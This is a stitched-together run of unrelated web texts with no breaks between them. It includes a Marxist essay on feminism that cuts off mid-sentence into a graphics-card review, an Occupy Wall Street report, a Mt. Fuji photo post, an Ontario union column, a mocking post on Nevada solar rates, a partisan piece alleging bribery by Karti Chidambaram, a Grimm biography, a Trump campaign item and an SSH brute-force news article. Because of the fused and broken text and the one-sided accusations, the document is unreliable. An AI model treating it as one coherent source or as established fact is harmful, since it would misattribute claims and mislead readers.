Unlike other exploitative systems which cannot do without fixed roles and identities usually determined by birth, capitalism relies on the meeting of equalized items. It tends to treat everyone not according to an inner “nature”, but to his or her market value and his or her ability to bring in profit. Formal and effective man/woman equalization is a historical trend, illustrated by the narrowing of the sex gap between wages, and the increasing proportion of woman top executives and government heads. (With a high percentage of female top bosses and senior managers in Asia.) Theoretically, a skilled proletarian is exchangeable with any equally skilled proletarian, and either of the two could be hired and paid the same wage.
Theoretically, that is, because capital’s quest for productivity leads to cost-cutting, and one way of lowering labour costs is “divide and rule”. In the real world, companies are never indifferent to origin, race or sex. Even with the same qualification, one labour power is rarely equal to another. Capitalist society divides as much as it brings together, and redresses inequities while it creates new ones. To give just an example among many of the shifting borders of “race”, at the end of the 19th century, there was much debate in the US whether Finnish immigrants should be classified as “White” or “Asian”. Competition sets “national” against migrant labourers, and first and foremost men against women. Whenever they can, bosses take advantage of the traditionally inferior status of women, even in the most “advanced” parts of the world.
Sex inequality is transformed, not abolished: most women will be paid less and be forced into poorer working conditions.
Whatever version of feminism you address, there will always be a feminist to point out that your critique does not apply to her or him. Debate is further complicated by the fact that a radical feminist generally refuses to call herself or himself “a feminist”, arguing that the term is only adequate for bourgeois, humanist or liberal feminists. How dare you compare middle class Women’s Lib and anarcha-feminism?! We should consequently not speak of “feminism”, only of a multifaceted women’s movement. Actually, to set itself apart from bourgeois feminism, radical feminism usually takes care to define itself with an adjunct: class struggle, materialist, sex radical, anti-capitalist, radical lesbian, queer, libertarian, Marxist, intersectional, etc. feminism.
Whatever the wording, the undoubtedly many faces of feminism share common ground in so far as their political priority is the woman question and the fight against sex inequality, in spite of their disagreements and oppositions on how to define inequality. When radical feminists reject equality feminism as bourgeois and instead advocate women’s self-assertiveness, their prime concern remains women. The difference is that “bourgeois” feminism treats equality as a point of arrival whereas radical feminism treats it as a starting point. Radical feminism starts from women’s condition and integrates it into a global social perspective. In a multitude of ways. Simple variants merely add women’s struggles to the other struggles. Sophisticated variants recombine sex and class, or sex, race and class. In any case, as they all regard women’s place in history as essential, it is legitimate to consider these positions and currents as feminist.
There is nothing disparaging in calling a person or an activity feminist. For us, resisting the subjugation and oppression inflicted upon women is a necessary fight. Only the proponent of the “All or Nothing” policy remains unmoved by what can improve the life of women. On that basis, as much as other forms of resistance, feminism is inseparable from the general movement towards human emancipation. On that basis too, like other forms of resistance, we need to assess its scope and perspectives.
Despite the fact that there has always been resistance among women, it was not until capitalism that a feminist movement emerged, because the capitalist system brings in a hitherto unknown contradiction:
Though the persistent subordination of women allows for a lot of them to be paid less and clustered in low-skilled and undervalued jobs, their mass entry on to the labour market puts them alongside male wage-earners and encourages them to demand sex equality in the workplace (equal pay for equal work) as well as in the rest of life (sex equality at home, in the public place, in politics, etc.). In 2014, 55% of British trade-union members were women. The inferior status carries on, but it is questioned. Women remain subjugated yet they live a “unisex” condition as a woman boss or a woman proletarian. In the most “progressive” countries and zones, they are far less unequal to men than before, especially at work, but they still have to assume a role of child-bearers and care-givers, and the myth of innate maternal instinct still prevails, albeit highly challenged.
As long as a proletarian movement – made of women and men – lacks the ability to confront capitalism and do away with both capital and work, feminists will be forced to act within this contradiction, and to fight for women to be treated as equal to men, in the working world as elsewhere. Feminism is part of the politics of human equality.
As equality is far from being an achievable goal in a structurally inequitable system, even in so-called modern countries, we can foresee a busy and often frustrated future for the whole range of feminist groups, moderates and radicals, each variant positioning itself as the upholder of “true” feminism. And as their effort comes up against stumbling blocks it cannot overcome on its own, it is inevitable that it should give primacy to Law (equalising entails legalising), education (teaching gender at school and in the media as well as in the political milieu), academia (redressing the master narrative of history and combing through literature for evidence of sex bias), not forgetting language correction (sanitising and de-sexing the vocabulary). To that extent, feminism has gone mainstream (of course a lot more in New York than in the Bible Belt, not much in Moscow, and hardly at all in Sanaa).
Past insurrections generally showed little concern for women’s submission. True. But neither did they really challenge the core of the capitalist system. They did not fail to include the woman question in their agenda because they were led by sexist men (though many risings were), but because of the shortcomings of the agenda itself. The programme was to free labour from capital and create a community of equal and associated producers. Both limitations – social and sexual - went hand in hand. Groups (usually organised by women) which tried to strike at sex-based hierarchy found themselves as much battered from all sides as the groups which tried to push for the abolition of wage labour. In 1936-39, both the Mujeres Libres and the Friends of Durruti ended up as a shrinking minority.
This was not for lack of intentions, and sometimes practical undertakings. The critique of the family, for instance, is a recurring theme in the history of anarchism and communism, as proved by the experience of libertarian communities in Europe, America and Asia. In the early years after 1917, the Russian revolution spawned efforts to change the life of couples in order to terminate the oppression of women: kindergartens, canteens and communal laundries were supposed to free women from the burden of domestic chores and enable them to take part in collective activities. This was top-down, party-controlled, organised with meagre means, and the experiment was cut short when the regime re-imposed traditional family values, but at least it had located a tipping point in the daily man/woman relationship.
Likewise, Engels demonstrates a genuine commitment to superseding the family. One of the main concerns of The Origins of the Family, Private Property & the State is to explain how the monogamous family came about, how capitalism undermines its foundation, and how it will be dissolved under socialism.
According to Engels, however, whereas the former development of productive forces (agriculture and early industry) enslaved women, modern industrialisation potentially liberates women from male control by forcing them into wage-labour alongside men, and socialism will make this liberation effective.
For him as for the vast majority of communists up to the last quarter of the 20th century, revolution would dispossess the capitalists of their property and extend self-managed and planned work on everyone, with no market and no boss.
To sum up, nearly all Marxists (and quite a few anarchists) hoped to solve the specific woman question in the same way as the whole social question, and the solution for emancipating proletarians and women was the same: “a free and equal association of the producers”, in Engels’ words. Sex equalisation would result from communal cooperative work.
No doubt a critique of work and of the economy as such could hardly be expected then: despite exceptions and illuminating insights, the proletarians aimed at liberating work, not liberating themselves from work. (When the abolition of work was contemplated, it was usually in a way that bypassed the issue, often thanks to technology: work would still exist, only it would be performed by machines.)
The life of a society is determined by the way it organises the production of its conditions of existence, i.e. its social relationships, its material bases and the generational renewal. Therefore every society must regulate its reproduction, including the reproduction of children, and there again it would be futile to deny this reality by imagining transferring the burden of production from mothers onto machines, by having babies born in test-tubes and children taken care of by robots. The question is the part taken by production in our lives.
Let us leave aside (in this essay anyway) so-called primitive societies and pre-capitalist worlds. Since the advent of industrial capitalism, the production of the material conditions of existence has become this overwhelming reality called the economy, increasingly autonomised from the rest of life, and now grown into a separate sphere, with a split between the time-space devoted to earning money (work) and the other activities. Any productive act is only productive, i.e. value-productive. The millions of hours spent on DIY at home, gardening, helping the neighbour repair his bike-shed or volunteering at the local food bank only exist on the margin of wage labour, the central activity without which all other “free” pursuits would be impossible.
We all bear the brunt of the social division of labour, but it weighs even more on women: because of their ability to give birth, they find themselves specialised in that role, even if (as is more and more the case) they work outside the home. Language tells it all: in the maternity unit, labour precedes delivery. As long as we are dominated by the production of our means of living, which includes the production of children, society will exercise firm control over women and compel them to fulfil this specific role (which does not replace other roles but remains a forced one), and women will be kept in an inferior position.
The solution does not consist in having machine-tools and 3-D printers produce for us, but in creating a society where a productive act is not exclusively productive, which also applies to “producing” children. Whose children, by the way? In communism, even if a baby comes out of a woman’s body, it will not have to be “hers” with all the pressures and obligations it now puts on the two of them. In a world with no private property, no-one will own the child, not even her or his parents, biological parents or not, though we can safely assume that he/she will have a special relationship with them. We need hardly stress that this perspective seems today as far remote as the possibility of a world without money and without State: yet mutual mother and child conditions are no |
(just about 21cm), and its PCB even shorter than that. ZOTAC used the difference in lengths of the cooler and PCB to cram in the longer and wider portions of the aluminium fin-stacks.The cooler of the ZOTAC GeForce GTX 1080 Mini features five 6 mm-thick copper heat pipes, which pass through a dense aluminium fin-stack, which is then ventilated by 90 mm (left) and 100 mm (right) fans. The fan in the front appears to be of a quieter, low-RPM type, while the one on the rear end is a high air-flow fan. A neat back-plate covers up the reverse side of the PCB. An LED-lit ZOTAC logo is located on the top. The card ships with factory-overclocked speeds of 1620 MHz core, 1753 MHz GPU Boost, and an untouched 10 GHz (GDDR5X-effective) memory, compared to reference speeds of 1607/1733 MHz. The card draws power from a single 8-pin PCIe power connector. Display outputs include three DisplayPorts and one each of HDMI and DVI. This design should allow ZOTAC to achieve two market positions - charge a premium for the compact size; or sell at a lower price than reference, if the competition heats up.October 17, 2011
THE DAY after winning a stunning victory against Mayor Michael Bloomberg's attempt to evict its encampment in the financial district, the Occupy Wall Street protest movement achieved a new highlight with a massive mobilization of up to 100,000 people in Times Square.
The protest was part of an October 15 day of action that saw the Occupy movement spread around the world. In the heart of Manhattan, on Broadway and 7th Avenue, from 42nd to 50th Streets, people crowded in to fill every inch of available space--pushing east and west to fill the side streets as well.
The October 15 march didn't have an official permit, but the police were completely incapable--despite an overwhelming presence--of stemming the tide of tens of thousands of people flowing into the square.
THE DEMONSTRATION in Times Square was the high point of a day that was marked by an impressive level of self-mobilization and initiative.
By late morning, Zuccotti Park--the site of the Occupy encampment a few streets from Wall Street that was established on September 17--had already filled with people. Many were New Yorkers who had heard about the previous day's defense of the renamed Liberty Plaza, and had come to celebrate and learn more. Others came from out of town--traveling from as far as South Carolina and Washington state--to be part of the new movement.
Occupied Times Square full to the brim with protesters (Phil Stearns)
What everyone shared was the sense that our side was finally speaking up, and it was time to get involved.
Occupy's Labor Outreach Committee had called for a labor march at 11 a.m. to protest the banks and demand jobs and an end to corporate greed. Though the march started with only a few hundred people, it grew to several thousand as it wound its way through downtown Manhattan, stopping at several banks before heading north to Washington Square Park. As one sign held by an 8-year-old read, "Just because it's legal doesn't mean it's right."
"The march confirmed the importance of solidarity," said one teacher, describing the mood. "It felt unified. It was important that we knew it was happening all over the world, that the whole world was watching."
At noon, the United National Anti-War Committee (UNAC), a U.S.-wide antiwar coalition, had called a demonstration titled "Wall Street = War Street" to mark the 10th anniversary of the war in Afghanistan. Like the labor march, it started small, with just a couple hundred people, but it swelled to 1,000 as it marched past Zuccotti Park. Though originally bound for the Chambers Street military recruiting station, demonstrators shifted course and followed the labor march north toward Washington Square Park.
Meanwhile, several hundred students were organizing a General Assembly in Washington Square Park. Wearing badges that read, "My name is ____ and I have $____ in student debt," students from campuses across the city addressed the crowd.
While staggering levels of student debt was a dominant issue, people also spoke to the range of issues affecting students. A first-year student at Eugene Lang College talked about his experience as a young Black man being stopped and frisked and harassed by the police. He encouraged people to join the people of color working group to continue to do outreach to those directly impacted by racism. A graduate student from New York University talked about the campaign to build solidarity with locked-out Teamsters at the Sotheby's art auction house.
At both parks, the sense of solidarity and empowerment was palpable. Many participants had heard the criticisms of the Occupy movement, considered them, but developed their own response.
For example, one early claim about the New York occupation was that it was not working-class or multiracial enough. But rather than allowing the media use that to dismiss the movement, people from all over the city are organizing those around them to make sure their voice is part of this movement. One sign carried by a protester at Zuccotti Park spoke volumes: "I am not a hippy. I have three jobs. And I'm still broke."
Rank-and-file union activists set up a table at Washington Square Park and collected hundreds of names of union members who want to help build the labor presence within the movement. Similarly, people of color and people in the largely working-class and multiracial boroughs of New York City have begun organizing within those communities.
One contingent on Saturday, calling itself "Occupy the Bronx," met in the borough to go down to the day's events together. Though the crowd was small, about 100 people, it was eagerly received, and participants vowed to link the issues facing people in the Bronx with this growing movement. Similar efforts to build community-based occupation groups are underway in Brooklyn and Queens.
All of these organizing efforts could be felt as the crowds in Washington Square Park grew throughout the day. By the time the labor and antiwar marches arrived in the late afternoon, the atmosphere was electric.
New working groups quickly formed and began meeting in different corners of the park. Parents with young children found each other and began talking about the reasons they had come out despite concerns about the aggressive police tactics in previous weeks.
Everywhere, people were standing in small groups, talking and learning each other's stories. If you asked someone why they were there, the common response was: "How much time do you have?" One young child carrying a sign reading "Money for schools, not for war" had this to say: "My dad says they are killing too many people for no reason."
BY THE time protesters began leaving Washington Square Park for Times Square--with several thousand taking over the streets to march uptown--it was clear that the Times Square demonstration would exceed expectations. But no one could possibly have predicted the massive turnout for a demonstration that never even had a printed flyer.
This was an un-permitted action in the heart of New York City's tourism district, and no one knew quite what to expect. Organizers were certain that there would be at least several thousand demonstrators, but the New York Police Department had proved in recent weeks that it would carry out mass arrests and unleash violence on even relatively large crowds.
But as tens of thousands of people converged on the square, it became clear that the balance of power--at least for the moment--had shifted. There were police on mounted horses and in riot gear near the top of the square, and groups of officers surrounded the entire area.
Yet protesters instinctively understood that the numbers massed together represented a powerful show of strength. Throughout the evening, the chant "they can't arrest us all" continued to be raised in the crowd.
This confidence was fed by the growing awareness that the movement in New York City had become part of an international movement. Whenever one of the news tickers on a nearby building scrolled, "Occupy Wall Street goes worldwide," the crowd erupted in cheers again and again.
Participants repeatedly referenced the recent mass mobilizations in Egypt, Greece, Spain and Chile. At one point, people began chanting, "The whole world is marching."
One young man expressed the defiant yet jubilant mood: "I'm angry, but also extremely happy...Some people think this is all for nothing...What they don't realize is that this is the biggest movement in human history. There are protests today in over 1,300 cities around the world...We are the entire world! We shall overcome!"
Of the tens of thousands of people who descended on Times Square, most were new to political activism. They were driven by a deep sense that something had gone fundamentally wrong, and that the "1 percent" targeted by the Occupy protesters was destroying our world.
But many have not yet been exposed to different social movements or political alternatives. For them, the convergence in the square was an opportunity to exchange stories and learn new ideas. Veteran activists used the people's mic to teach people chants from antiwar, anti-police brutality and other movements.
There was no sound system, and there were no organized speakers. But people were eager to make their voices heard. In one section of the square, members of the International Socialist Organization turned a large planter into an impromptu stage for a people's mic. For more than two hours, a line of participants waited to talk about why they had come to Times Square, what they were angry about, and what they believed needed to--and could--change.
Many of the participants told stories of the economic destruction in their lives--like 22-year-old Tara, who said: "I've been on job interviews with hedge-fund firms on Wall Street where I have been asked instead for sexual favors. I'm $50,000 in debt and I'm unemployed, and to our leaders, I am not a person. We are important, we deserve jobs, we can make a difference...We are the 99 percent!"
Sandy said he had turned 67 years old yesterday. "I'm on Social Security and Medicare and food stamps, and they want to take it away from me," he said. "It's my money! I gave it to them, and I want it back!"
At a certain point, the people's microphone--where activists repeat the words of speakers in waves so they can be heard in a crowd of thousands--reached six layers back. This meant speakers had to wait for what they said to be repeated six times, to ever-larger numbers, before continuing.
But people whose voices had been suppressed for so long had to struggle to wait for their words to be carried out to the crowd. One woman, Johanna, shook with rage as she told her story:
"I'm 51 years old, and I have $50,000 in student loans that I can't pay back...I owe $50,000 to the IRS that I can't pay back. The student loan people want $500 per month. The IRS wants $500 per month. I went to an accountant, and he told me that I could discharge any amount of consumer debt, but I cannot discharge student loans or IRS debt. If I ever try to retire, they're allowed to siphon off my Social Security."
Other participants gave voice to the sense of idealism and hope that is fueling this movement. One young woman told the crowd, "My father told me not to protest Wall Street because our stock in AT&T is the reason I can go to college. I told him that's why I'm going to protest! Because that's not fair. I believe that everyone should have the right to an education, no matter what their means...I'm mad as hell, and I'm not going to take it anymore!"
Another woman was even more direct, "I'm here because my soul wouldn't let me be anywhere else, and I can't sit back and let the bullshit continue."
As the speakers went on, the crowd developed a habit of turning people's words into chants. When 17-year-old Mark explained that he was here "because the voice of the people is no longer being heard, and we will march, and we will shout, and we will be united until that voice is heard!" the crowd erupted in a chant of "Until that voice is heard!"
The movement started by Occupy Wall Street has grown with dizzying speed and expanded its scope immensely in just four short weeks. The enormous response to the October 15 day of action shows the potential for a multiracial, working-class struggle. In New York City, activists are discussing plans for continuing to reach out to labor and students--and for spreading the occupation movement to communities across the city.
There are thousands of people who are eager to respond to that call. With the globalization of this movement, and the entry of masses of people into it, we have entered a new phase of the struggle.10,000 feet above sea – five months straight – four years in a row. For 600 days Yu Yamauchi lived in a hut near the summit of Mt. Fuji, getting up while it was still dark to photograph the sunrise every day, from the same location. The resulting series, titled “DAWN,” is a stunning look at the colorful, sometimes abstract view of Earth waking up.
This space, “above the clouds,” exists far from the ground where we live our daily lives. It is also a space between the earth and the universe. Being there simply reminds me of the fact that we live on the earth which is a planet within an infinite space of the universe.
What’s perhaps most striking about the series is the variability. Not a single picture looks the same. And yet, each day the sun, rising from the same spot, repeats itself.
This post originally appeared October, 2012. It is part of a series of posts on Mt. Fuji. The entire series can be found HERE.The birth of Canada’s biggest union over the Labour Day weekend suggests workers are not about to go quietly into the night. But members of Unifor are in for a fight with Ontario’s Tories. The Progressive Conservatives have always had a complicated relationship with unionized working people: At times working with them, at times against them.
At his party's upcoming convention, Progressive Conservative Leader Tim Hudak will try to win over dissidents with an ambitious economic strategy for Ontario, writes Martin Regg Cohn: De-unionize to re-industrialize. ( Colin McConnell / Toronto Star )
Now, as Tim Hudak fights for his own job security as Tory leader, watch him try to sacrifice the job security of workers across the province. An upcoming Tory convention is officially about party policy, not personal leadership. But in London later this month, delegates will also be deciding whether to hold yet another leadership review. To survive, Hudak will try to win over dissidents with an ambitious economic strategy for Ontario: De-unionize to re-industrialize.
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Undoing unions has been Tory policy since Hudak lost the last election and blamed big labour for working against him. He promptly appointed the most militantly right-wing member of his caucus, Randy Hillier, as the party’s improbable labour critic. Together, they crafted a discussion paper, euphemistically called, “Flexible Labour Markets,” that delighted the business press last summer. And bolstered fundraising among bedrock supporters. At its core, the plan would strip unions of the hard-won right to collect dues from everyone in the bargaining unit. Hudak would unravel the highly regarded Rand Formula, a made-in-Ontario compromise crafted by former Supreme Court judge Ivan Rand to settle a landmark 1945 Ford strike in Windsor. In 1980, the PC government of Bill Davis sensibly enshrined the Rand Formula into law, on the grounds that everyone in a workplace benefits from the tough bargaining and strikes undertaken by unions to improve wages, benefits and working conditions. Years later, even the Mike Harris PCs maintained that equilibrium, recognizing that there should be no free-riders in the workplace who disown unions but profit from their impact. Why then is Hudak trying to turn the clock back? He points to the rise of Right to Work states in the U.S., where right-wing legislators have triumphed against unions in a historical battle that has its roots in the Deep South. The movement has recently spread to nearby Michigan and Indiana, so Ontario must now graft this foreign ideology onto its economy to remain competitive, Hudak argues.
The benefits? Lower unionization rates and lower wage rates. Oh, and supposedly more jobs. The Tories cite research from right-wing think tanks to bolster their case, most of which argues that job gains in Alabama or Texas can be replicated in Ontario if only we lower wages, which will happen if we eviscerate unions. (You could repurpose those same tired arguments against minimum wage laws, but let’s save that for another day.)
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The latest research — or more precisely, riposte — comes from the far-right Fraser Institute, which showed a flair for provocative timing by releasing it on Labour Day. It concludes authoritatively that Ontario and B.C. could boost their economies by billions of dollars by bashing unions. Its anti-union role model for Ontario is none other than Oklahoma — a prairie state, population 3.8 million, ranked dead last for health care, whose economy is less than one-quarter of ours and has almost nothing in common with Canada’s industrial heartland. Yet Hudak’s Tories promptly issued a news release highlighting the hard work of the Fraser Institute in putting workers in their place. The Ontario Federation of Labour countered with its own study this week that comes, predictably, to the opposite conclusion. You can pick your study to suit your point of view, but it’s hard to disagree with the OFL’s bottom line: the arguments against unions are entirely ideological, not empirical. And while ideologues get bogged down by unprovable arguments about how destroying unions creates jobs, they ignore the undeniable benefits to workplace health and safety from unionization (which ultimately lowers hospitalization costs for employers and taxpayers). Once you slip into the realm of slogans, it’s a slippery slope: Right to work, as President Barack Obama says mockingly, is “right-to-work for less money.” And with the recent anniversary of Martin Luther King’s “I have a dream” speech, why not quote from the preacher himself on the peril of “false slogans, such as ‘right-to-work.’ It provides no ‘rights’ and no ‘work.’ ” A belated Happy Labour Day. Martin Regg Cohn’s provincial affairs column appears Tuesday, Thursday and Sunday. mcohn@thestar.ca, Twitter: @reggcohnNevada reversal: solar earnings rate drops from 12c to 2c — May “destroy rooftop solar power”
If only solar generation was affordable?
In Nevada there is a lot of sunlight and a lot of solar panels, but they generate electricity at a cost of 25 – 30c per kWhr. With subsidies and tax benefits, the cost “falls” to 15c. (In this context, the word “falls” means “is dropped on other people”.) But the retail rate for electricity is 12.5c. So having solar panels doesn’t help you much unless you can sell that excess electricity, which the state of Nevada was buying at 12.5c. That price sounds fine and dandy til we find out that they could have bought the same electricity at wholesale rate of around two cents.
So Nevada has decided that’s what the state will pay… 2c, not 12.5c. The latest decision is to apply normal free market rules. Nevada will now pay wholesale rates for electricity. No more shopping for boutique electrons.
Taking into account all the tax cuts, subsidies and total costs, who would have thought that paying 15 times the wholesale rate for electricity would be economically unsustainable?
Battles Over Net Metering Cloud the Future of Rooftop Solar
One of the fastest-growing markets for residential solar, Nevada is the first state to drastically revise its policies on net metering—wherein owners of residential solar arrays are compensated for the power they send onto the utility power grid, usually at retail rates. All but a handful of states have instituted net metering. Claiming that these fees represent an unfair transfer of costs to the utilities and non-solar customers, utilities have mounted a well-funded campaign to reduce or eliminate the payments. The Nevada Public Utilities Commission concurred, calling on utilities to cut the compensation for solar providers from retail to wholesale rates.
Naturally, this has been a campaign by utility companies. Residents would not be expected to protest against high electricity prices.
Not surprisingly, the solar industry disagrees. Calling the net metering decision “unethical, unprecedented, and possibly unlawful,” SolarCity CEO Lyndon Rive predicted that it will “destroy the rooftop solar industry in one of the states with the most sunshine.”
Rive missed how people who want fair market rates for solar power are not just unethical, and unlawful, but ugly selfish and funded by fossils. Listen to Leonardo, whatever you do, don’t date them.
Events in Nevada, though, could signal a major reshaping of the eonomics of solar power for homeowners. The retail rate of electricity in Nevada is 12.39 cents per kilowatt-hour; the wholesale price for electricity in the region that includes Nevada averaged around two cents per kilowatt-hour in December. According to a report from Lawrence Berkeley National Lab, the cost of a residential solar system has fallen to around 25 to 30 cents per kilowatt-hour.
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please wait... Rating: 9.6/10 (102 votes cast)Yesterday (Nov 9) the Supreme Court asked the Central Bureau of Investigation (CBI) a very pertinent question – “Why have you not interrogated Karti Chidambaram for the past two months?” This question came when the CBI objected to allowing Karti Chidambaram to go abroad on certain conditions for 4 to 5 days. The Additional Solicitor General (ASG) Tushar Mehta vehemently argued against it and said the the Court as well as CBI are helpless if Karti did not adhere to conditions when he reaches abroad, citing Karti’s earlier actions to close the secret accounts in London.
It is high time the Prime Minister intervened in this matter. It is a fact that there are still some senior officers in CBI appointed during the United Progressive Alliance (UPA) period with close ties to Chidambaram.
The apex court also asked the probe agency to apprise it for the reasons for not interrogating Karti if it decided not to call him at present. “You take instructions on allowing the respondent (Karti Chidambaram) to go abroad for 4-5 days and what conditions can be imposed on him,” a bench of Chief Justice Dipak Misra and Justices A M Khanwilkar and D Y Chandrachud asked. The case is adjourned to November 16. The million dollar question is why the CBI is not pursuing with the interrogation of Karti Chidambaram in INX Media bribe case and the Aircel-Maxis case, both of which ultimately lead to father Chidambaram.
Here the fault in dealing Karti’s case totally lies with the CBI. The current case is related to the First Information Report (FIR) in the bribe that son Chidambaram accepted from INX Media for illegal Foreign Investment Proposal Board (FIPB) clearances when father Chidambaram was the Finance Minister. Worse Karti is yet to appear before the CBI even after the second summons in Aircel-Maxis scam. Karti gave a letter to CBI last month, claiming that he is intending to question the summons in Supreme Court and till then the agency should not take action!!!
Can anybody shoot such letters when investigating agency issues a summons? For the past one month, Karti has not filed any case against the CBI summons in the Aircel-Maxis scam. Why? Because Karti and his father Chidambaram are well aware that if they do so, their petition will come before the 2G Bench, where BJP leader Subramanian Swamy’s petition lies. Hence these dilatory tactics.
Karti’s lawyers Kapil Sibal and Gopal Subramanium will try to drag the case as much as possible, where one can always see his parents Nalini and Chidambaram in attendance. The court has not yet intervened in the CBI probe and the matter is limited only to allowing Karti to travel overseas. And it must be noted that Karti was forced to appear before CBI when in the first hearing the then Chief Justice of India directed Karti to appear before CBI, insisting that only then the court will proceed on his petition.
It is high time the Prime Minister intervened in this matter. It is a fact that there are still some senior officers in CBI appointed during the United Progressive Alliance (UPA) period with close ties to Chidambaram. Because of them, the CBI’s move to issue a Look Out Circular was leaked and Karti approached a pliable bench of Madras High Court. The question then is why CBI is delaying the cases against Chidambaram and son caught with concrete evidence of illegalities and bribe-taking for FIPB clearances?Ludwig Emil Grimm (14 March 1790 – 4 April 1863) was a German painter, art professor, etcher and copper engraver. His brothers were the well-known folklorists, Jacob and Wilhelm Grimm.
Life and work [ edit ]
He was born in Hanau and developed an interest in nature early in life. His studies began at the Kunsthochschule Kassel and he took lessons from Philip Otto Runge.[1] From 1809 to 1817, he studied at the newly founded Academy of Fine Arts Munich, interrupted only by a brief stint as an officer in the 1814 campaign against Napoleon[1] and a study trip to Italy in 1816. While there, he learned engraving from Carl Ernst Christoph Hess [de].[2] Upon completion of his studies, he published his first work; a sketchbook of engravings based on his Italian journey. He also contributed the frontispiece for the second edition of Kinder- und Hausmärchen (Grimm's Fairy Tales) in 1819.
Thanks to his brothers' connections to the academic community in Göttingen, he was able to secure commissions for two series of portraits of scholars, professors and doctors; the first in 1823 and the second in 1826. In between, he helped Gerhardt Wilhelm von Reutern found the artists' colony in Willingshausen. He became a Professor of history painting at the Kassel Academy in 1832.[2]
Two years after his first wife's death in 1842, he married the daughter of Reform theologian Christoph Friedrich Wilhelm Ernst [de]. In 1860, health problems made it increasingly difficult to draw. He died of pneumonia in 1863 in Kassel.
Since 2012, the city of Hanau has awarded the "Ludwig Emil Grimm Prize" to young artists. In March 2014, a life-size bronze statue of him was dedicated there in front of the "Zum Riesen" hotel as a gift to the city from the hotel's owners. It was designed by the painter Joerg Eyfferth [de].
Writings [ edit ]
Erinnerungen aus meinem Leben (Memoirs of My Life), edited with commentary by Adolf Stoll. Hesse & Becker, Leipzig 1911 (Digitalized).
Selected works [ edit ]
Farmer's wife from Egern with her daughters (1813)
The Johannisfriedhof in Nuremberg (1828)
Frontispiece to Grimm's Fairy Tales (1819)
Marstaellerplatz in Kassel (1844)
Double portrait of Jacob and Wilhelm (1843)
References [ edit ]
Further reading [ edit ]CLEVELAND, Ohio -- Donald Trump is slated make yet another trip to Cleveland, and is scheduled to film a "town hall" style event on Wednesday with Fox News personality Sean Hannity at the Cleveland Heights church of a local pastor who has been a visible Trump supporter.
The website for the New Spirit Revival Center in Cleveland Heights, 3130 Mayfield Road, advertises a "Midwest Values and Vision Pastors Leadership Conference" with Trump, hosted by the church's pastor, Rev. Darrell Scott, that will begin at 9 a.m. on Sept. 21. Scott has not returned a message, but he told WKYC's Tom Beres that Trump "will meet with a large statewide group of pastors from 9 a.m. to 10 a.m."
The website also advertises a "town hall meeting on African-American concerns" that is scheduled to begin at 10:30 a.m. A Fox News spokeswoman said the meeting will air on Hannity's 10 p.m. show on Wednesday night. While she said the town hall meeting will be closed to other media, the spokeswoman did not immediately know whether members of the general public could attend. Officials with the Trump campaign declined to share additional details about the event.
A flier on the church's website also advertises the presence of Michael Cohen, an attorney for the Trump Organization who has made occasional media appearances on Trump's behalf during this year's presidential campaign. Trump also is scheduled to hold a rally in Toledo on Wednesday at 1 p.m., according to his campaign website.
Scott, who founded the New Spirit Revival Center in 1994, serves as the CEO of the National Diversity Coalition for Trump, an entity that is affiliated with the Trump campaign. Scott spoke on Trump's behalf at the Republican National Convention here in July, and previously has served as a liaison between the Trump campaign and other black ministers.
http://www.cleveland.com/open/index.ssf/2015/11/cleveland_heights_pastor_darre.html
http://www.cleveland.com/open/index.ssf/2016/07/cleveland-area_pastor_darrell.html
A message left for Scott at his church was not immediately returned. But he had not been a prominent figure within the local community of politically involved black clergy before his association with Trump raised his profile.
Rev. Jawanza Colvin, a prominent Cleveland minister whose Olivet Institutional Baptist Church hosted Democrats Hillary Clinton and Bernie Sanders in separate public forums last March -- and unsuccessfully invited Republican Ohio Gov. John Kasich and former Florida Gov. Jeb Bush to appear -- said he does not know which clergy might be attending the meeting with Trump on Wednesday. He said even if he were invited, he would not go, and he criticized Trump for his "divisive" campaign.
"I will be interested to know who attends," he said. "At this point, I think he [Trump] has made himself very clear about where is, what he stands for and whom he'll be standing with," Colvin said.
Trump has made almost weekly appearances in Northeast Ohio over the past month, and last appeared in Cleveland on Sept. 8, when he gave a policy speech promoting an expansion of "school choice" at a charter school in a predominantly African-American neighborhood. The appearance was part of an ongoing effort by Trump to try to salvage his image with minority voters. Like other Republicans before him, he has argued that urban minorities have been let down by Democratic policies and has presented himself as an alternative.
Some have argued that Trump's minority-outreach efforts are really meant to assure white voters who have been turned off by racially divisive statements Trump has made during his campaign -- such as saying a federal judge hearing a fraud case involving Trump University is biased against him because of his Mexican heritage -- that he is not racist.
Trump's outreach efforts have not always gone smoothly. At an appearance at a predominantly African-American church in Flint, Michigan last week, the church's pastor interrupted Trump after Trump began to criticize Hillary Clinton, and several people there began to heckle him, according to The Associated Press. Trump later referred to the church's minister as "a nervous mess."Thanks to the end-of-term for many colleges and some K12 schools, brute-force attacks against SSH servers surged sharply this past weekend, according to the SANS Internet Storm Center. The sudden jump in SSH attacks merits a re-examination of how such servers should be properly secured. Jim Owens and Jeanna Matthews of the Department of Computer Science at Clarkson University have published a paper on the methods that such attacks frequently employ and on the best ways to defeat them.
Linux systems may be secure against the viruses and trojans that can infect Windows, but running Linux, in and of itself, provides no protection against the type of brute force assaults Owen and Matthews discuss. The two performed their experiment by setting up three honeypots in three separate locations, with one system located on a college campus, one in a small business, and one at a residence on a traditional DSL connection.
Data from the three systems suggests that brute-force attackers often attempt to validate using "root." Attacks with this username accounted for 25.7 percent of the total login attempts observed. The password chosen often matched the login (i.e., root/root or guest/guest), or was a simple derivative of the login (Michael/Mike or William/Bill). When put side by side, the list of attempted passwords for each of the three honeypots shows a surprising amount of correlation.
Twelve of the top twenty password attempts were shared between all three servers, while a further five were shared between two servers. The high prevalence of shared passwords led the two computer scientists to conclude that the attacks were launched using a common set of at least five attack dictionaries. As shown in the table above, some of these dictionaries include strong passwords, and the authors recommend actively considering the listings of popular attack dictionaries when selecting passwords.
SSH brute force attacks themselves have evolved considerably. The very words "brute force" may conjure an image of a mightily thewed barbarian hacking away with an axe, but modern assaults more closely resemble the careful actions of a thief attempting to avoid detection while picking a lock. Evidence suggests that some would-be hackers are now attacking via botnets, and they launch just a handful of login attacks per IP address in order to avoid triggering intrusion-detection software. This new attack variant is referred to as a slow-motion brute-force attack, and researchers expect to see more of them as hackers refine the process.
